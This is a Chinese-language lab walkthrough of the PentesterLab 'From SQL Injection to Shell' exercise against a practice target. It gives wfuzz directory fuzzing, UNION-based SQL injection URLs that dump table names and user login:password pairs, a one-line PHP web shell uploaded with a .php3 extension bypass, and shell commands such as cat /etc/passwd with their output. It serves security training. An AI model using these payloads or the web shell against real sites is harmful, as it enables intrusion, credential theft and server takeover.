本文翻译了[Pentester Lab]From SQL Injection to Shell的要点,记录了笔者按照教程进行复现的过程。
By the way,庆祝一下自己拿到的第一个Web Shell(虽然是靶机233333
1. 介绍
实验目的:
- 在基于PHP的网站中使用SQL注入,以及攻击者如何使用SQL注入获取管理员界面的访问权限。然后,攻击者可以在Server上实现代码执行。
攻击可以分为3个步骤:
- 指纹识别
- SQL注入的检测和利用
- 访问管理页面,执行代码
2. 指纹识别
使用浏览器,可以侦察到该Web应用是使用PHP实现的。
2.1 探测HTTP头
- 可用工具
- telnet
- nc
- openssl
- burpsuite
2.2 使用dirBuster
工具:wfuzz
命令如下:
wfuzz -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://vulnerable/FUZZ Total requests: 3036 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000138: C=301 9 L 28 W 308 Ch "admin" 000547: C=200 92 L 141 W 1858 Ch "cat" 000586: C=403 10 L 30 W 286 Ch "cgi-bin/" 000642: C=301 9 L 28 W 310 Ch "classes" 000761: C=301 9 L 28 W 306 Ch "css" 001290: C=200 40 L 63 W 796 Ch "header" 001362: C=301 9 L 28 W 309 Ch "images" 001375: C=200 71 L 103 W 1343 Ch "index" 002489: C=200 70 L 108 W 1320 Ch "show" Total time: 3.939425 Processed Requests: 3036 Filtered Requests: 3027 Requests/sec.: 770.6706
3. SQL注入的检测和利用
3.1 检测SQL注入
3.1.1 SQL简介
- SQL的基本操作:增删改查。其他操作(如:创建/移除/修改表,数据库或触发器)较少用于web应用。
以SELECT为例:
SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=interger1 AND column6=interger2;
命令由以下部分组成:(1)SELECT陈述(2)目标列(3)指定表名(4)WHERE指定条件
SELECT * FROM tablename
显示该表中的所有列
- UPDATE:
- INSERT
- DELETE
3.1.2 基于整数的检测
- 检测网站注入点时,如果有错误信息回显,会方便很多。
- 举例,URL中提供的值被直接写入SQL查询语句,并被认为是整数。
- 可以尝试让数据库执行基本的数学操作:
/article.php?id=2-1
/article.php?id=2-0
- 各种情况以及利用方法:
- 情况1:数据库执行了减法
- 情况2:数据库不执行减法,那么整数的注入可能不可行。尝试字符串注入。
- 情况3:使用单引号
'
,应该会得到报错信息
- 可以尝试让数据库执行基本的数学操作:
- 注意,URL中的整数变量可以使用
categorie.php?id=1
,也可以使用categorie.php?id='1'
,SQL允许整数直接输入,也允许整数带单引号,作为字符串输入(比直接使用整数要慢一些)。
3.1.3 基于字符串的检测
- 如果网页存在SQL注入,那么注入一个单引号
'
会破坏查询语法,并且产生一个错误。
- 注入两个单引号
''
不会破坏查询。 - 通常来说,奇数个单引号会导致错误,而偶数个单括号则不会。
- 注入两个单引号
- 也可以使用
' --
将查询的后半部分给注释掉。
- 例如下面的查询,
SELECT id,name FROM users where name='test' and id=3;
使用注释符号,
SELECT id,name FROM users where name='test' --' and id=3;
等同于
SELECT id,name FROM users where name='test
- 但是,如果查询采用下面的模式,使用注释依然会导致失败。
SELECT id,name FROM users where ( name='test' and id=3 );
可以通过加入一个或者多个括号,来找到不会犯错的值。
- 例如下面的查询,
- 通常,
' and '1'='1
不太可能影响查询的语义,所以查询的结果和没有注入的时候很可能是一样的。作为比较,使用' and '1'='0
不太可能产生错误,但是很可能改变查询的语义。 - 注意,SQL注入不是一门精确的科学,许多因素都可能影响测试的结果。如果发现了可能的征兆,坚持注入并尝试通过注入来搞清楚代码的逻辑,以确定这是一个SQL注入。
- 为了发现SQL注入点,需要访问网站,并对每一个网页上的所有参数,尝试上述的方法。一旦发现了SQL注入点,就可以接着来利用它。
3.2 SQL注入的利用
在网页http://vulnerable/cat.php
找到SQL注入点之后,我们需要利用它来获取更多信息。所以,我们需要了解SQL中的UNION
关键字。
3.2.1 UNION关键字
- UNION关键字用来把两个查询的结果放在一起。
- UNION可以从其他表中获取信息,因此能作为SQL注入的payload。查询的开头部分是由PHP代码生成的,所以攻击者无法修改它们。但是使用UNION,攻击者可以操纵查询的结尾,并从其他表中检索信息。
SELECT id,name,price FROM articles WHERE id=3 UNION SELECT id,login,password FROM users
最重要的一条规则,就是两个声明语句应该返回相同数量的列数,否则数据库会触发错误。
3.2.2 使用UNION利用SQL注入
- 使用UNION利用SQL注入的步骤如下:
- 确定列数
- 确定页面中显示了哪些列
- 从数据库元表(?)中获取信息
- 从其他表/数据库中获取信息
- 在没有源码的情况下,只能通过猜测确定第一个查询中返回的列数。可以通过以下方法:
- 使用UNION SELECT,并且增加列的数目
- 使用ORDER BY语句
- 使用UNION语句
如果使用UNION,并且两个查询的列数是不同的,那么数据库会抛出一个错误。
The used SELECT statements have a different
number of columns
通过这个属性,可以猜测出列的数目。例如,对于如下查询:
SELECT id,name,price FROM articles where id=1
可以通过下面的步骤进行尝试:
SELECT id,name,price FROM articles where id=1 UNION SELECT 1
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
该方法适用于MySQL,其他的数据库应该把值1,2,3,...
改为null,null,null,...
。因为数据库对于UNION关键字需要相同的类型的值。对于Oracle,在使用SELECT时必须也使用FROM关键字,而dual表可以用来补全请求:UNION SELECT null,null,null FROM dual
。
- 使用ORDER BY语句
ORDER BY
通常用于指定数据库使用哪个列进行排序。
SELECT firstname,lastname,age,groups FROM users ORDER BY firstname
上述请求会返回用户信息,并按照firstname列进行排序。
ORDER BY
可以同一个整数一起使用,使数据库按照第X列进行排序。
SELECT firstname,lastname,age,groups FROM users ORDER BY 3
上述请求会使用第3列进行排序。
这个特征可以用来检测列的数量,如果ORDER BY
中的列号,大于查询中的列数,则会抛出一个错误。例如使用了列号10:
Unknown column '10' in 'order clause'
可以利用这个属性来猜测列的数目。例如,可以注入下面的查询:
SELECT id,name,price FROM articles where id=1
可以尝试下面的步骤:
SELECT id,name,price FROM articles where id=1 ORDER BY 5 -- error
SELECT id,name,price FROM articles where id=1 ORDER BY 3 -- correct
SELECT id,name,price FROM articles where id=1 ORDER BY 4 -- error
基于这种二分查找,可以确定列数为3。然后可以构建最终的查询:
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
二分查找在列数较大的情况下,速度可以显著加快。
3.2.3 获取信息
确定了列数之后,我们可以从数据库中获取信息。基于获取的错误信息,我们可以确定后端的数据库是MySQL。
使用这个信息,我们可以强制数据库执行一个函数,或者给我们泄露信息:
- PHP应用使用
current_user()
连接到数据库 - 数据库的版本使用
version()
为了执行这两个函数,我们需要把前面语句中的一个值,替换为我们想要运行的函数,从而获取response中的结果。
注意,在获取信息时要确保列数是正确的。
可以通过下面的例子获取信息:
- 数据库版本:
http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,@@version,3,4
- the current user:
http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,current_user(),3,4
- the current database:
http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,database(),3,4
目前,我们可以从数据库中获取任意信息。为了获取当前应用的信息,我们还需要得到: - 当前数据库的所有表名
- 我们想要从中获取信息的表的列名
MySQL 5之后的版本,提供了包含数据库,表和列等元数据的表。我们要利用这些表,来获取我们需要的信息,从而构建最终的查询。这些表存储在数据库information_schema
中。可以使用下列查询:
- 所有表的list:
SELECT table_name FROM information_schema.tables
- 所有列的list:
SELECT column_name FROM information_schema.columns
通过把这些查询混合在之前的URL中,可以猜出访问哪些网页来获取信息:
- 所有表的list:1 UNION SELCET 1,table_name,3,4 FROM information_schema.tables
- 所有列的list:1 UNION SELCE 1,column_name,3,4 FROM information_schema.columns
这些查询提供了所有表和列的原始list,但是为了查询数据库来获取感兴趣的信息,你需要知道哪些列是属于哪些表的。幸运的是,表information_schema.columns
存储了这些表名:
SELCET table_name,colum_name FROM information_schema.columns
为了获取信息,我们有两种方式:
- 将表名和列名放在注入的不同部分:
1 UNION SELCET 1,table_name,column_name,4 FROM information_schema.columns
- 将表名和列名串联在注入的同一部分,使用关键字
CONCAT
:
1 UNION SELCET 1,concat(table_name,':',column_name),3,4 FROM information_schema.columns
其中':'
用来在查询结果中清晰地分隔两个部分。
如果想要使用正则表达式,从结果页中轻松地获取信息(比如写一个SQL注入的脚本),你可以在注入中使用一个标记:
1 UNION SELECT 1,concat('^^^',table_name,':',column_name,'^^^') FROM information_schema.columns
。这样就可以轻松匹配到页面的结果。
目前,可以获取到一个关于表和列的list,第一个表和列是默认的MySQL表。在HTML页面的结尾,可以得到一个表的list,很可能是当前的应用使用的表。
通过这些信息,可以构建一个查询,来获取表中的信息:
1 UNION SELECT 1,concat(login,':',password),3,4 FROM users;
SQL注入提供的权限,等于应用连接到数据库所使用的用户(
current_user
)权限。这就是为什么强调,在部署Web应用时要坚持“最小权限原则”。
4. 访问管理页面和代码执行
4.1 破解密码
- 一个没有加盐的哈希值,可以使用Google轻松破解。
- 使用John-The-Ripper(http://www.openwall.com/john/)
- 使用John破解密码,需要提供加密的算法。对于Web应用,一个合理的猜测是MD5
- MD5算法需要使用community-enhanced版本的John
4.2 上传Webshell并执行代码
- 一旦获取管理员界面的访问权,下一个目标就是在OS中执行命令。
管理员界面有一个文件上传功能,允许用户上传一张图片,因此可以尝试使用该功能上传一段PHP代码。上传的PHP代码可以给我们提供一个运行PHP代码和命令的途径。
<?php system($_GET['cmd']); ?>
发现应用禁止上传
.php
文件
可以使用下列后缀名绕过:
.php3
.php.test
怎样可以获取到上传图片的存放路径?查看网页源码,可以看到
<img
标签指向的图片的路径。<div class="content"> <h2 class="title">Last picture: Test shell</h2> <div class="inner" align="center"> <p> <img src="admin/uploads/shell.php3" alt="Test shell" /> </p> </div> </div>
- 使用下面的网址,通过
cmd
参数来运行代码。通过uname
命令可以获取当前的系统内核(Linux
)。
http://vulnerable/admin/uploads/shell.php3?cmd=uname
- 其他命令
cat /etc/passwd
:系统用户的完整列表
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
uname -a
:当前内核的版本
Linux debian 2.6.32-5-686 #1 SMP Sun May 6 04:01:19 UTC 2012 i686 GNU/Linux
ls
:获取当前目录的内容
cthulhu.png hacker.png ruby.jpg shell.php3
- 其他命令
- webshell与运行PHP脚本的Web Server有着相同的权限,所以无法获取到
/etc/shadow
文件的内容,因为Web Server也没有访问该文件的权限。但是依然值得试一试,也许管理员错误地改变了这个文件的权限。 - 每一个命令都独立于之前的命令,运行在相同的上下文中。所以无法通过
cd /etc
和ls
来获得/etc
目录的内容,因为第2条命令会处于新的上下文中。为了获取目录/etc
的内容,可以使用ls /etc
命令。
5. 总结
- 本练习手工检测和利用了SQL注入,从访问管理页面。一旦进入“信任区域”,就可以使用更多的功能,从而导致更多的漏洞。
- 本练习基于之前对一个网站进行的渗透测试。但是如今还有许多网站有这种类型的漏洞。
- 本练习中提供的web server是一种理想情况:开启了错误回显,并且关闭了PHP保护选项。
- 可以开启PHP保护选项,提高本练习的难度。方法如下:
- 在PHP设置(
/etc/php5/apache2/php.ini
)中,启用magic_quotes_gpc
,禁用display_errors
。然后重启Web Server(/etc/init.d/apache2 restart
)。